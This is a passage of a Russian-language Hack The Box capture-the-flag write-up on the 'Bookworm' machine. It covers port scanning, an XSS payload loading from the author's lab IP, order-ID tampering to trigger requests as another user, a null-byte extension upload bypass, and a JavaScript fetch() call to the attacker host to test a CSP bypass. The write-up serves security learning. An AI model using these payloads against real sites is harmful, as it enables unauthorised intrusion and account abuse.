Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
В этом райтапе я покажу, как можно использовать уязвимость в механизме контроля загрузки файлов для обхода Content Security Policy и эксплуатации сложной XSS. Найденная затем LFI поможет получить важные данные для доступа к хосту, а для повышения привилегий используем SQL-инъекцию через PostScript.
Наша цель — захват рута на машине Bookworm с площадки Hack The Box. Уровень ее сложности — «безумный».
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Добавляем IP-адрес машины в /etc/hosts
:
10.10.11.215 bookworm.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Результат работы скрипта
Сканер нашел всего два открытых порта:
SSH, как обычно, оставляем на потом: без учетных данных там ничего не сделать. В первую очередь идем смотреть веб‑сайт.
Главная страница сайта
На сайте есть возможность зарегистрироваться и авторизоваться, что мы и делаем.
Форма регистрации нового пользователя
Пробегаемся по сайту, чтобы определить возможные точки входа. К примеру, в профиле пользователя можно установить аватар, загрузив картинку. При загрузке файлов часто встречаются уязвимости, которые позволяют загружать не только картинки.
Страница профиля пользователя
Сам сайт представляет собой магазин книг, поэтому добавим файл в корзину, а затем просмотрим ее.
Страница товара
Корзина пользователя
В корзине у нас есть возможность изменить запись, а это значит, что тут может быть уязвимость как XXS, так и SSTI.
Выбираем пункт изменения записи и пробуем подключить файл с нашего сервера.
<img src="http://10.10.14.118/test_xss">
Форма изменения
После отправки нагрузки смотрим логи веб‑сервера и видим там запрос.
Результат изменения записи
Логи веб‑сервера
Находим запрос в Burp History и обращаем внимание на заголовок CSP.
Запрос в Burp History
Content Security Policy — это механизм обеспечения безопасности, с помощью которого можно защищаться от XSS-атак. CSP описывает безопасные источники для загрузки ресурсов и устанавливает правила использования встроенных скриптов. Загрузка с ресурсов, не входящих в белый список, блокируется. В данном случае будут исполняться скрипты только с тестируемого сервера, а значит, нагрузку со своего сервера мы не выполним.
Также после меня какой‑то пользователь добавил товар себе в корзину.
Список товаров
Исходный код страницы раскрывает какой‑то id
, скорее всего, это идентификатор заказа, так как при новой покупке от имени того же пользователя идентификатор обновляется.
Исходный код страницы
Попробуем в нашем запросе поменять идентификатор на изменение записи. Если доступ к заказу не контролируется, то нагрузка выполнится и другой пользователь обратится к файлу на нашем сервере.
Измененный запрос в Burp Repeater
Логи сервера
На сервер пришел запрос, а значит, мы можем триггерить запросы от имени другого пользователя сайта.
Перейдем к загрузке аватарки. Больше всего нас интересует данный запрос в Burp History.
Запрос в Burp History
При попытке загрузить шелл получаем ошибку, сообщающую о том, что мы можем загрузить только файлы JPEG и PNG.
Ошибка загрузки файла
При новой загрузке файла перехватываем запрос в Burp Proxy и изменяем содержимое файла на простую строку‑индикатор test_file_upload
. Но получаем уже другую ошибку.
Запрос на загрузку файла
Ошибка сервера
Раз ошибка изменилась, значит, содержимое файла не проверяется. Тогда надо попытаться изменить расширение файла. Первым делом пробуем использовать двойное расширение, разделенное null-символом (%00
). При проверке файла будет учитываться второе расширение, а при загрузке его отсечет из‑за null-символа, и файл сохранится с первым расширением.
Запрос на загрузку файла
Запрос загруженного файла
После редиректа видим обращение к нашему файлу и отображение его содержимого. Доступ к файлу тоже не проверяется.
curl http://bookworm.htb/static/img/uploads/14
Запрос содержимого загруженного файла
Итак, мы можем загрузить на сервер файл с текстовым содержимым. Давай попробуем добавить код на JavaScript, делающий простой запрос на наш сервер.
fetch("http://10.10.14.118/csp_bypass");
Источник: xakep.ru